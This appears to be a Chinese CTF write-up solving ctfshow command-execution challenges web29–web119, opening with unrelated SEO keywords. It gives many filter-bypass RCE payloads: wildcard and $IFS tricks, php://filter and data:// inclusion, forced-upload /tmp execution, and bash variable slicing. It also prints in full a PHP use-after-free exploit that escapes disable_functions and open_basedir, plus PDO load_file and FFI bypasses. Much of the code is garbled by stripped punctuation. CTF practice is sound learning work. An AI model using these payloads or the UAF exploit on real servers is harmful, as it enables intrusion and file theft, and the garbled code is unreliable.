做了网站应该如何推广,顺德企业网站制作,wordpress 开发h5页面,邯郸市住建局官网Ctfshow 命令执行 web29
pregmatch是正则匹配函数#xff0c;匹配是否包含flag#xff0c;if(!preg_match(/flag/i, $c))#xff0c;/i忽略大小写
可以利用system来间接执行系统命令
flag采用f*绕过#xff0c;或者mv fl?g.php 1.txt修改文件名#xff0c…Ctfshow 命令执行 web29
pregmatch是正则匹配函数匹配是否包含flagif(!preg_match(/flag/i, $c))/i忽略大小写
可以利用system来间接执行系统命令
flag采用f*绕过或者mv fl?g.php 1.txt修改文件名或者cat 反引号ls反引号
linux通配符https://www.cnblogs.com/ysuwangqiang/p/11364173.html Ctfshow 命令执行 web30
多了对system和php的过滤
用*绕过和passthru Ctfshow 命令执行 web31
过滤flag system php cat sort shell . 空格
过滤了空格可以使用%09替代也可以使用{$IFS}或者$IFS$1
传参如下
?cpassthru(tac%09fla*);Ctfshow 命令执行 web32
过滤flag system php cat sort shell . 空格 反引号 echo
之前的方法都没有用了。无所谓文件包含会出手。
https://www.cnblogs.com/endust/p/11804767.html
?cinclude$_GET[1]?1php://filter/readconvert.base64-encode/resourceflag.phpCtfshow 命令执行 web33
又加了(和的过滤没事文件包含还能出手。
Payload
?cinclude$_GET[a]?adata://text/plain,?php system(ls /);?此外这里日志包含也是可行的。
Ctfshow 命令执行 web34
好的这下:也被过滤了。没事文件包含还能出手。
Payload
?cinclude$_GET[a]?adata://text/plain,?php system(ls /);?Ctfshow 命令执行 web35
和也被过滤了没关系文件包含还能出手
Payload
?cinclude$_GET[a]?aphp://filter/readconvert.base64-encode/resourceflag.phpCtfshow 命令执行 web36
加了对/和数字0-9的过滤还是文件包含一样的payload。 Ctfshow 命令执行 web37
好家伙直接给我文件包含了是吧
Payload 采用了base64编码绕过过滤)
?cdata://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg //(?php system(tac flag.php);?)Ctfshow 命令执行 web38 Payload不变。 Ctfshow 命令执行 web39
虽然强加了后缀但是不影响。因为?已经闭合PHP语句了。
?cdata://text/plain,?php system(tac fla*.php);?Ctfshow 命令执行 web40 过滤了很多东西。只有空格分号英文括号还可以用。
看了一下wphttps://blog.csdn.net/Kracxi/article/details/121041140果然无能为力。这题考察无参RCE。
两种payload。 ?ceval(array_pop(next(get_defined_vars())));//需要POST传入参数为1system(tac fl*);?cshow_source(next(array_reverse(scandir(pos(localeconv())))));以下是我解题过程中学习整理的关于无参RCE的函数实操等。部分借鉴付劲远师傅的web思维导图 除了无参RCE还有个利用session的方法。
payload
?csession_start();system(session_id());session_idPHPSESSID就是要执行的命令。 但是这个方法有个弊端命令不能有空格因为cookie不解析空格。 Ctfshow 命令执行 web41
无字母数字rce原理利用各种非数字字母的字符经过各种变换异或、取反、自增构造出单个的字母字符然后把单个字符拼接成一个函数名比如说system然后就可以动态执行了。所以说这里的核心就是非字母的字符换成字母字符。https://www.cnblogs.com/pursue-security/p/15404150.html
代码审计没有过滤或|。跑个脚本吧脚本小子就是我了 查看目录。 Ctfshow 命令执行 web42
先看源码一个新东西/dev/null 21 含义
1/dev/null 首先表示标准输出重定向到空设备文件也就是不输出任何信息到终端不显示任何信息。 代表重定向到哪里例如echo “123” /home/123.txt
1 表示stdout标准输出系统默认值是1所以/dev/null等同于1/dev/null
2 表示stderr标准错误 表示等同于的意思21表示2的输出重定向等同于1
绕过方法就是在命令后面加截断命令 ; 或 %0a 或 %26() 或 ||。具体原理就是重定向也是命令的一部分。比如说 命令1;命令2 1/dev/null就是执行了命令1和命令2 1/dev/null虽然命令2被重定向了但是命令1没有。 Ctfshow 命令执行 web43
过滤了分隔符那可以换成别的分隔符。对cat的过滤可以用tacnl替代或者用各种转义符\ 、、。 Payload
?ctac flag.php%26Ctfshow 命令执行 web44
加了一个对flag的过滤我们用转义符绕过。 Payload:
?cnl%20fl\ag.php||Ctfshow 命令执行 web45
加了对空格的过滤用%09代替。 Payload
?ctac%09fla*||Ctfshow 命令执行 web46
2023.8.16时隔半年强迫症迫使我把基础给算完。
增加了对数字、*、$的过滤空格可以用或者或者%09代替%09是URL编码不是数字过滤了通配符*但是?也不能用了所以flag用转义符\或者。 payload
?cnlflag.php|| //在源码里面
?ctacfla\g.php||发现一个奇怪的payload这里通配符?又可以用了弄得我满脸问号后来去查了一下是因为**和?不能同时用**上面的payload改成ctac%09fla?.php||就好啦
?cawk%09/f/%09fla?.php||等价于?cawk%09/f/{print}%09fla?.php||确实能用解释一下。这个payload就是输出flag.php文件中包含字符串f的行。
如果我们把f换成ctfshow那就只输出flag了。 参考文章
https://blog.csdn.net/Dark_Tk/article/details/114844529
Ctfshow 命令执行 web47
又多过滤了一些命令执行函数more less head sort tail。但是没过滤我最喜欢的tac、nl和awk。 payload不变
?cnlflag.php|| //在源码里面
?ctacfla\g.php||
?cawk%09/f/%09fla?.php||Ctfshow 命令执行 web48
再多过滤了一些命令执行函数sed cut awk strings od curl和反引号。但是没过滤我最喜欢的tac和nl。 payload不变
?cnlflag.php|| //在源码里面
?ctacfla\g.php||Ctfshow 命令执行 web49
多过滤了百分号%对我的payload没影响我空格是用绕过的。 payload不变
?cnlflag.php|| //在源码里面
?ctacfla\g.php||Ctfshow 命令执行 web50
多过滤了\x09水平制表符tab和\x26对我的payload没影响。 payload不变
?cnlflag.php|| //在源码里面
?ctacfla\g.php||Ctfshow 命令执行 web51
多过滤了tacpayload还有一个能用。 payload不变
?cnlflag.php|| //在源码里面# Ctfshow 命令执行 web52
多过滤了和但是没过滤$上题payload把空格用$IFS或者${IFS}绕过就行。 payload
?cnl$IFS/flag|| //flag在根目录
?cnl${IFS}/flag||
?ctac$IFS/flag||
?ccat${IFS}/flag|| Ctfshow 命令执行 web53
过滤不变这次也没有重定向了。 payload
?cnl${IFS}????.???
?cnl$IFSflag.php||
?cnl${IFS}flag.php||
?ctac$IFSflag.php||
?ccat${IFS}flag.php|| Ctfshow 命令执行 web54
这次过滤的有点猛。 除了符号反引号、\x09、\x26、%、、、*之外,cat flag more wget less head sort tail sed cut tac awk strings od curl nl scp rm也被过滤了而且无法使用转义符绕过。
用别的命令读取flag
?cuniq${IFS}f????????cgrep${IFS}tf${IFS}fl???php
在 fl???php匹配到的文件中查找含有tf的文件并打印出包含 tf 的这一行,好奇怪这里只有tf、sh、ow、{、}能找出flag使用文件执行命令通配符绕过过滤注意这里ca?${IFS}f???是不可以的
/bin这个目录。
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
?c/bin/ca?${IFS}f???????复制文件
?cmv${IFS}fl?g.php${IFS}x.txtCtfshow 命令执行 web55
hint
https://blog.csdn.net/qq_46091464/article/details/108513145
https://blog.csdn.net/qq_46091464/article/details/108557067
过滤了所有字母和反引号、\x09、\x26、%、、。这题考察无字母RCE。 方法一
使用文件执行命令通配符绕过过滤
?c/???/????64 ????.???
// 即/bin/base64 flag.php
//base64这个命令就是将指定的文件的内容以base64加密的形式输出。这个不是通用的,因为base64不是每个机器都有?c/???/???/????2 ????.???
// 即/usr/bin/bzip2 flag.php
//把flag.php给压缩然后访问urlflag.php.bz2就可以把压缩后的flag.php给下载下来。方法二
这题是命令执行不是代码执行不能进行异或/拼接等操作。如果是eval()中内容可控代码执行才可以进行异或/拼接等操作因为识别异或/拼接等操作的是PHP代码不是终端cmd。
【强制文件上传下的无字母数字RCE】
这题考PHP强制文件上传机制。
PHP超全局变量如下
$_GET //存放所有GET请求
$_POST
$_SERVER
$_COOKIE
$_SESSION
$_FILES //存放所有文件在PHP中强制上传文件时文件会被存在临时文件/tmp/phpxxxxxx中
这个文件最后六位xxxxxx有大小写字母、数字组成生命周期只在PHP代码运行时。
题目中正则匹配过滤了大小写字母i和数字。
故我们要匹配/tmp/phpxxxxxx的话可以用通配符/???/?????????
/???/?????????范围太大了我们如何缩小范围呢。
查看ascii码表A前面是Z后面是[
/???/????????[-[]就表示了最后一位是大写
当临时文件最后一位是大写字母时/???/????????[-[]就能匹配到这个文件
linux中 . 代表执行一个文件相当于source 可以执行sh命令。
如果上传的文件是一个shell脚本那么. /???/????????[-[]burp里面空格要写成或者%20就能执行这个shell脚本实现RCE。
如何强制上传文件
我们可以在vps上写一个表单文件
upload.html
form actionhttp://6741a41b-173c-4a20-9a15-be885b3344de.challenges.ctfer.com:8080/ enctypemultipart/form-data methodpost input namefile typefile /input typesubmit typegogogo! //form访问vps上的upload.html 上传内容为whoami的txt文件。同时抓包。 改一下包。发现能正常执行了并且返回了结果。 获得flag。成功的概率就是最后一位是大写的概率是26/262610多发几次包就行了 Ctfshow 命令执行 web56
这次把数字也过滤了。 和上题一样PHP强制上传文件机制还是可以使用滴。 Ctfshow 命令执行 web57
这次过滤了很多。过滤了点号.不能用PHP强制上传文件机制
preg_match(/\;|[a-z]|[0-9]|\反引号|\|\#|\|\|\反引号|\%|\x09|\x26|\x0a|\|\|\.|\,|\?|\*|\-|\|\[/i, $c) 题目提示flag in 36.php。
关键代码system(cat .$c..php);。
我们可控的是$c根据提示我们只需要构造出36即可。 先补个前置知识二进制取反
二进制中第一位为符号位0代表正数1代表负数如 0000 0001 是11000 0001 是-1。同时加上补码原码等相关概念就可以理解二进制取反。
结论如对 a 按位取反则得到的结果为 -(a1)。36取反是-37-37取反是36。
详细请看https://zhuanlan.zhihu.com/p/261080329 在linux中
${_} 代表上一次命令执行的结果
$(()) 代表做运算为0
$((~$(()))) 代表~00取反为-1
$((~$(()))) $((~$(()))) $((~$(()))) 代表-1-1-1
$(( $((~$(())))$((~$(())))$((~$(()))) )) 代表-1-1-1做运算就是-3
$((~$(( $((~$(())))$((~$(())))$((~$(()))) )))) 代表-1-1-1做运算后-3取反就是2 中间37个$((~$(())))就是-37取反后就是36
$((~$(( $((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) ))))payload
?c$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))flag在源码中。 Ctfshow 命令执行 web58
这题无过滤但是开始禁用函数了。 一般是先看phpinfo查看被禁用的函数。但是这里phpinfo也被禁用了只能一个一个尝试。 禁用了phpinfo、system、shell_exec等
Y4爷博客给了两种读取文件路径方式 cprint_r(scandir(dirname(__FILE__)));查看根目录print_r(scandir(‘/’));
c$anew DirectoryIterator(glob:///*);foreach($a as $f){echo($f-__toString(). );}
读文件的函数有这些
file_get_contents()
highlight_file()
show_source()
fgets()
file()
readfile()
fopen()读文件函数payload
cecho file_get_contents(flag.php);cecho highlight_file(flag.php);
chighlight_file(flag.php);cshow_source(flag.php);c
$afopen(flag.php,r);
while($bfgets($a)){
echo $b;
}//file()函数把整个文件读入一个数组中
cprint_r(file(flag.php));
cvar_dump(file(flag.php));creadfile(flag.php);//一行一行读取
c$afopen(flag.php,r);while (!feof($a)) {$line fgets($a);echo $line;}
//一个一个字符读取
c$afopen(flag.php,r);while (!feof($a)) {$line fgetc($a);echo $line;}
c$afopen(flag.php,r);while (!feof($a)) {$line fgetcsv($a);var_dump($line);}也可以复制、重命名文件
copy(flag.php,flag.txt);
rename(flag.php,flag.txt); 文件包含直接读取flag
cinclude(flag.php);echo $flag;cinclude($_GET[1]); ?1php://filter/convert.base64-encode/resourceflag.phpcinclude(flag.php);var_dump(get_defined_vars());
//var_dump:输出注册变量
//get_defined_vars():函数返回由所有已定义变量所组成的数组此外还能使用无参RCE、日志包含等方法就不一一列举了。 Ctfshow 命令执行 web59
源码一样函数多禁用了几个做法同web58。
Ctfshow 命令执行 web60
源码一样函数多禁用了几个做法同web58。
Ctfshow 命令执行 web61
源码一样函数多禁用了几个做法同web58。
Ctfshow 命令执行 web62
源码一样函数多禁用了几个做法同web58。
Ctfshow 命令执行 web63
源码一样函数多禁用了几个做法同web58。
Ctfshow 命令执行 web64
源码一样函数多禁用了几个做法同web58。
Ctfshow 命令执行 web65
源码一样函数多禁用了几个做法同web58。
Ctfshow 命令执行 web66 相较于web58源码一样但是之前payload都用不了了仔细一查是flag文件路径变了。
回忆一下Y4爷博客给了两种读取文件路径方式 cprint_r(scandir(dirname(__FILE__)));查看根目录print_r(scandir(‘/’));
c$anew DirectoryIterator(glob:///*);foreach($a as $f){echo($f-__toString(). );}
我们先看看当前目录
cprint_r(scandir(dirname(__FILE__)));确实没有flag。 再看看根目录
cprint_r(scandir(/));发现flag在根目录flag.txt文件中那么把之前的payload中的flag.php换成/flag.txt就行了。 Ctfshow 命令执行 web67 源码还是一样相较于wen66过滤了print_r()函数我们用var_dump()函数替换。flag还是在根目录flag.txt文件中。
看看根目录
cvar_dump(scandir(/));其他同web66、web58。 Ctfshow 命令执行 web68
又ban了highlight_file()函数导致我们看不见源码。但是源码还是一样的。 我们还有很多方法。同web67。 Ctfshow 命令执行 web69
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Wt49l3pr-1692463133485)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191458554.png)]
从web58到这里文件显示的代码比如show_source、highlight_file、file_get_contents等基本都被禁了但是文件包含一直屹立不倒还是本篇文章开头那句无所谓文件包含会出手。
学到这里我发现从一开始感觉web板块的知识点是一座一座孤岛到现在有部分知识能融合到一起算是有所成长吧。
这题把var_dump()函数ban了可以用var_export()函数替换。
此外如果scandir()被过滤可以用glob()。用法var_dump(glob(/*));
看看根目录
cvar_export(scandir(/));命令执行拿flag。
cinclude(/flag.txt);var_export(get_defined_vars());[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5YMZpf6Q-1692463133486)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191503405.png)]
Ctfshow 命令执行 web70 做法同web69。 Ctfshow 命令执行 web71 这题附件给了源码源码如下
?phperror_reporting(0);
ini_set(display_errors, 0);
// 你们在炫技吗
if(isset($_POST[c])){$c $_POST[c];eval($c);$s ob_get_contents();ob_end_clean();echo preg_replace(/[0-9]|[a-z]/i,?,$s);
}else{highlight_file(__FILE__);
}?ob_get_contents()得到缓冲区的内容数据。 ob_end_clean()会清除缓冲区的内容并将缓冲区关闭但不会输出内容。 preg_replace(/[0-9]|[a-z]/i,?,$s)把存放缓冲区内容的变量$s的内容都替换为问号。用之前payload发现输出的一大堆问号就是因为这句话。 方法一这个方法目前网上只有我这篇有雅虎~
既然eval()函数给了我们执行任意代码的力量那我们模仿源码以其人之道还之其人之身。
payload
cinclude(/flag.txt);$ssob_get_contents();ob_end_clean();echo $ss;方法二
也可以用exit()/die()提前结束代码这样就不会将字符替换为问号 playload:
cinclude(/flag.txt);var_export(get_defined_vars());exit();
或者
cinclude(/flag.txt);var_export(get_defined_vars());die();方法三
其实方法一和方法三原理是一样的都是手动输出缓冲区。不过这种方法输出的字符肉眼不可识别。。。
cinclude(/flag.txt);echo ~ob_get_contents();自动化POC
import requestsurl http://64fe58eb-5766-484d-b8db-bd1f4b3ab1c2.chall.ctf.show/d {c: include(/flag.txt);echo ~ob_get_contents();}
s requests.post(url, d).contentfor i in s:print(chr(~i0xff), end)# 脚本来自群里阿狸师傅Ctfshow 命令执行 web72
源码不变。 这题flag位置又变了。就像她是如此的善变。 读目录。
cvar_export(scandir(/));exit();发现读不了有open_basedir配置项限制把目录限制在了/var/www/html/。 open_basedir配置项在NepNepCTF-2023的Ez_include中也出现过。
我们可以利用glob伪协议glob伪协议在筛选目录时不受open_basedir制约。也就是web58中Y4师傅给的第二种查看目录的方法。
查看根目录发现flag在flag0.txt文件中。
c$anew DirectoryIterator(glob:///*);foreach($a as $f){echo($f-__toString(). );}知道了flag文件的位置接下来就是如何绕过open_basedir制约读取文件这里大师傅们给了一个脚本
?php
pwn(命令);function pwn($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this-a);$backtrace (new Exception)-getTrace(); # ;)if(!isset($backtrace[1][args])) { # PHP 7.4$backtrace debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr($str, $p 0, $s 8) {$address 0;for($j $s-1; $j 0; $j--) {$address 8;$address | ord($str[$p$j]);}return $address;}function ptr2str($ptr, $m 8) {$out ;for ($i0; $i $m; $i) {$out . chr($ptr 0xff);$ptr 8;}return $out;}function write($str, $p, $v, $n 8) {$i 0;for($i 0; $i $n; $i) {$str[$p $i] chr($v 0xff);$v 8;}}function leak($addr, $p 0, $s 8) {global $abc, $helper;write($abc, 0x68, $addr $p - 0x10);$leak strlen($helper-a);if($s ! 8) { $leak % 2 ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type leak($base, 0x10, 2);$e_phoff leak($base, 0x20);$e_phentsize leak($base, 0x36, 2);$e_phnum leak($base, 0x38, 2);for($i 0; $i $e_phnum; $i) {$header $base $e_phoff $i * $e_phentsize;$p_type leak($header, 0, 4);$p_flags leak($header, 4, 4);$p_vaddr leak($header, 0x10);$p_memsz leak($header, 0x28);if($p_type 1 $p_flags 6) { # PT_LOAD, PF_Read_Write# handle pie$data_addr $e_type 2 ? $p_vaddr : $base $p_vaddr;$data_size $p_memsz;} else if($p_type 1 $p_flags 5) { # PT_LOAD, PF_Read_exec$text_size $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) $elf;for($i 0; $i $data_size / 8; $i) {$leak leak($data_addr, $i * 8);if($leak - $base 0 $leak - $base $data_addr - $base) {$deref leak($leak);# constant constant checkif($deref ! 0x746e6174736e6f63)continue;} else continue;$leak leak($data_addr, ($i 4) * 8);if($leak - $base 0 $leak - $base $data_addr - $base) {$deref leak($leak);# bin2hex constant checkif($deref ! 0x786568326e6962)continue;} else continue;return $data_addr $i * 8;}}function get_binary_base($binary_leak) {$base 0;$start $binary_leak 0xfffffffffffff000;for($i 0; $i 0x1000; $i) {$addr $start - 0x1000 * $i;$leak leak($addr, 0, 7);if($leak 0x10102464c457f) { # ELF headerreturn $addr;}}}function get_system($basic_funcs) {$addr $basic_funcs;do {$f_entry leak($addr);$f_name leak($f_entry, 0, 6);if($f_name 0x6d6574737973) { # systemreturn leak($addr 8);}$addr 0x20;} while($f_entry ! 0);return false;}function trigger_uaf($arg) {# str_shuffle prevents opcache string interning$arg str_shuffle(str_repeat(A, 79));$vuln new Vuln();$vuln-a $arg;}if(stristr(PHP_OS, WIN)) {die(This PoC is for *nix systems only.);}$n_alloc 10; # increase this value if UAF fails$contiguous [];for($i 0; $i $n_alloc; $i)$contiguous[] str_shuffle(str_repeat(A, 79));trigger_uaf(x);$abc $backtrace[1][args][0];$helper new Helper;$helper-b function ($x) { };if(strlen($abc) 79 || strlen($abc) 0) {die(UAF failed);}# leaks$closure_handlers str2ptr($abc, 0);$php_heap str2ptr($abc, 0x58);$abc_addr $php_heap - 0xc8;# fake valuewrite($abc, 0x60, 2);write($abc, 0x70, 6);# fake referencewrite($abc, 0x10, $abc_addr 0x60);write($abc, 0x18, 0xa);$closure_obj str2ptr($abc, 0x20);$binary_leak leak($closure_handlers, 8);if(!($base get_binary_base($binary_leak))) {die(Couldnt determine binary base address);}if(!($elf parse_elf($base))) {die(Couldnt parse ELF header);}if(!($basic_funcs get_basic_funcs($base, $elf))) {die(Couldnt get basic_functions address);}if(!($zif_system get_system($basic_funcs))) {die(Couldnt get zif_system address);}# fake closure object$fake_obj_offset 0xd0;for($i 0; $i 0x110; $i 8) {write($abc, $fake_obj_offset $i, leak($closure_obj, $i));}# pwnwrite($abc, 0x20, $abc_addr $fake_obj_offset);write($abc, 0xd0 0x38, 1, 4); # internal func typewrite($abc, 0xd0 0x68, $zif_system); # internal func handler($helper-b)($cmd);exit();
}脚本中str_repeat()函数被过滤了我们使用sprintf()函数替换。 payload需要根据需要闭合源码、修改命令、URL编码本篇wp中是未编码的。
c??php
pwn(tac /flag0.txt);function pwn($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this-a);$backtrace (new Exception)-getTrace(); # ;)if(!isset($backtrace[1][args])) { # PHP 7.4$backtrace debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr($str, $p 0, $s 8) {$address 0;for($j $s-1; $j 0; $j--) {$address 8;$address | ord($str[$p$j]);}return $address;}function ptr2str($ptr, $m 8) {$out ;for ($i0; $i $m; $i) {$out . sprintf(%c,$ptr 0xff);$ptr 8;}return $out;}function write($str, $p, $v, $n 8) {$i 0;for($i 0; $i $n; $i) {$str[$p $i] sprintf(%c,$v 0xff);$v 8;}}function leak($addr, $p 0, $s 8) {global $abc, $helper;write($abc, 0x68, $addr $p - 0x10);$leak strlen($helper-a);if($s ! 8) { $leak % 2 ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type leak($base, 0x10, 2);$e_phoff leak($base, 0x20);$e_phentsize leak($base, 0x36, 2);$e_phnum leak($base, 0x38, 2);for($i 0; $i $e_phnum; $i) {$header $base $e_phoff $i * $e_phentsize;$p_type leak($header, 0, 4);$p_flags leak($header, 4, 4);$p_vaddr leak($header, 0x10);$p_memsz leak($header, 0x28);if($p_type 1 $p_flags 6) { # PT_LOAD, PF_Read_Write# handle pie$data_addr $e_type 2 ? $p_vaddr : $base $p_vaddr;$data_size $p_memsz;} else if($p_type 1 $p_flags 5) { # PT_LOAD, PF_Read_exec$text_size $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) $elf;for($i 0; $i $data_size / 8; $i) {$leak leak($data_addr, $i * 8);if($leak - $base 0 $leak - $base $data_addr - $base) {$deref leak($leak);# constant constant checkif($deref ! 0x746e6174736e6f63)continue;} else continue;$leak leak($data_addr, ($i 4) * 8);if($leak - $base 0 $leak - $base $data_addr - $base) {$deref leak($leak);# bin2hex constant checkif($deref ! 0x786568326e6962)continue;} else continue;return $data_addr $i * 8;}}function get_binary_base($binary_leak) {$base 0;$start $binary_leak 0xfffffffffffff000;for($i 0; $i 0x1000; $i) {$addr $start - 0x1000 * $i;$leak leak($addr, 0, 7);if($leak 0x10102464c457f) { # ELF headerreturn $addr;}}}function get_system($basic_funcs) {$addr $basic_funcs;do {$f_entry leak($addr);$f_name leak($f_entry, 0, 6);if($f_name 0x6d6574737973) { # systemreturn leak($addr 8);}$addr 0x20;} while($f_entry ! 0);return false;}function trigger_uaf($arg) {# str_shuffle prevents opcache string interning$arg str_shuffle(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA);$vuln new Vuln();$vuln-a $arg;}if(stristr(PHP_OS, WIN)) {die(This PoC is for *nix systems only.);}$n_alloc 10; # increase this value if UAF fails$contiguous [];for($i 0; $i $n_alloc; $i)$contiguous[] str_shuffle(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA);trigger_uaf(x);$abc $backtrace[1][args][0];$helper new Helper;$helper-b function ($x) { };if(strlen($abc) 79 || strlen($abc) 0) {die(UAF failed);}# leaks$closure_handlers str2ptr($abc, 0);$php_heap str2ptr($abc, 0x58);$abc_addr $php_heap - 0xc8;# fake valuewrite($abc, 0x60, 2);write($abc, 0x70, 6);# fake referencewrite($abc, 0x10, $abc_addr 0x60);write($abc, 0x18, 0xa);$closure_obj str2ptr($abc, 0x20);$binary_leak leak($closure_handlers, 8);if(!($base get_binary_base($binary_leak))) {die(Couldnt determine binary base address);}if(!($elf parse_elf($base))) {die(Couldnt parse ELF header);}if(!($basic_funcs get_basic_funcs($base, $elf))) {die(Couldnt get basic_functions address);}if(!($zif_system get_system($basic_funcs))) {die(Couldnt get zif_system address);}# fake closure object$fake_obj_offset 0xd0;for($i 0; $i 0x110; $i 8) {write($abc, $fake_obj_offset $i, leak($closure_obj, $i));}# pwnwrite($abc, 0x20, $abc_addr $fake_obj_offset);write($abc, 0xd0 0x38, 1, 4); # internal func typewrite($abc, 0xd0 0x68, $zif_system); # internal func handler($helper-b)($cmd);exit();
}Ctfshow 命令执行 web73
源码一样这题比web72还少了一个open_basedir配置项制约。
读根目录flag在flagc.txt文件中
cvar_export(scandir(/));exit();[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1Qz5EPBx-1692463133488)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191925376.png)]
但是这里把include读取flag。
cinclude(/flagc.txt);var_export(get_defined_vars());die();[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JTBiPu5h-1692463133488)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191929591.png)]
Ctfshow 命令执行 web74
源码一样。
禁用了scandir()函数。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jGwN9I1j-1692463133488)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191933891.png)]
读取根目录flag在flagx.txt文件中
c$anew DirectoryIterator(glob:///*);foreach($a as $f){echo($f-__toString(). );}die();
或者
cvar_export(glob(/*));die();其余同web73。
cinclude(/flagx.txt);var_export(get_defined_vars());die();Ctfshow 命令执行 web75
看起来和之前一样。 这题又加上了open_basedir限制。
读取根目录flag在flag36.txt文件中
c$anew DirectoryIterator(glob:///*);foreach($a as $f){echo($f-__toString(). );}die();尝试web72的脚本读取flag失败了。 官方hint的解法是 利用mysql的load_file读文件绕过open_basedir 限制。只限制了PHP的访问目录不关MYSQL的事情
数据库名、账号密码可以通过之前的题目过滤少的拿到。所以这个方法条件是必须要有数据库名、账号密码 PHP 数据对象 PDO 扩展为PHP访问数据库定义了一个轻量级的一致接口。 PDO 提供了一个数据访问抽象层这意味着不管使用哪种数据库都可以用相同的函数方法来查询和获取数据。 PDO随PHP5.1发行应用条件是PHP5.1 payload
c
try {$dbh new PDO(mysql:hostlocalhost;dbnamectftraining, root,root);foreach ($dbh-query(select load_file(/flag36.txt)) as $row) {echo ($row[0]) . |;}$dbh null;
} catch (PDOException $e) {echo $e-getMessage();exit(0);
}
exit(0);Ctfshow 命令执行 web76
同web75flag文件名是flag36d.txt。
payload
c
try {$dbh new PDO(mysql:hostlocalhost;dbnamectftraining, root,root);foreach ($dbh-query(select load_file(/flag36d.txt)) as $row) {echo ($row[0]) . |;}$dbh null;
} catch (PDOException $e) {echo $e-getMessage();exit(0);
}
exit(0);Ctfshow 命令执行 web77
题目描述命令执行最后一题php7.4基本上命令执行就告一段落了php7.4应该想到FFI
看上去和之前一样只是看上去。 读取根目录flag在/readflag文件中
c$anew DirectoryIterator(glob:///*);foreach($a as $f){echo($f-__toString(). );}die();但是PDO那个方法不能用了 这题利用FFI扩展用C语言执行命令绕过open_basedir 限制。只限制了PHP的访问目录不关C语言的事情
FFIphp7.4以上才有是PHP的一个扩展。提供了一种在纯PHP中编写PHP扩展和对C库的绑定的方法。
参考文章 https://zhuanlan.zhihu.com/p/119129348 https://www.php.net/manual/zh/ffi.cdef.php https://www.php.cn/php-weizijiaocheng-415807.html
payload记得去掉注释
$ffi FFI::cdef(int system(const char *command););//创建一个system对象
$a/readflag 1.txt; //没有回显需要重定向到文件
$ffi-system($a); //通过$ffi去调用system函数Ctfshow 命令执行 web118
题目描述flag in flag.php
开题。 源码中有提示system($code); 过滤的有点猛fuzz一下能用的字符就这些大写字母加上一些符号。 能用的不多但是构造Bash内置变量够用。
我们的payload一般是cat/nl等命令flag.php。flag.php我们可以用通配符代替????.???。cat/nl等命令我们可以用Bash内置变量。 环境变量PATH一般是/bin题目路径PWD是/var/www/html。
正常情况下我们可以利用切片来获得所需要的字母
echo ${PWD}
echo ${PWD:0:1}
echo ${PWD:0:3}
echo ${PWD:1:1}
echo ${PWD:2:3}echo ${PWD:~0:1} //从末尾开始取一个但是题目过滤了数字无法使用切片。换一种方式获取字符。
linux可以利用~获得变量的最后几位从最后开始获取使用取反号时任何字母等同于数字0。
echo ${PWD}
echo ${PWD:~0}
echo ${PWD:~1}
echo ${PWD:~2}
echo ${PWD:~j}
echo ${PWD:~J}所以${PATH:~A}${PWD:~A}表示的就是PATH的最后一个字母和PWD的最后一个字母组合起来就是nl。
payload
${PATH:~A}${PWD:~A} ????.???相当于nl flag.php 其他可行的payload第二个是官方给的自己实践未出
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.??? ${PATH:~A}${PWD:~A:${##}} ????.???参考文章
https://www.cnblogs.com/sparkdev/p/9934595.html#title_0
https://blog.51cto.com/allenh/1695810
Ctfshow 命令执行 web119
这题比上题多过滤了PATH。 扩展一下Bash内置变量构造字符
${RANDOM} 随机的几个数
${PWD} /var/www/html
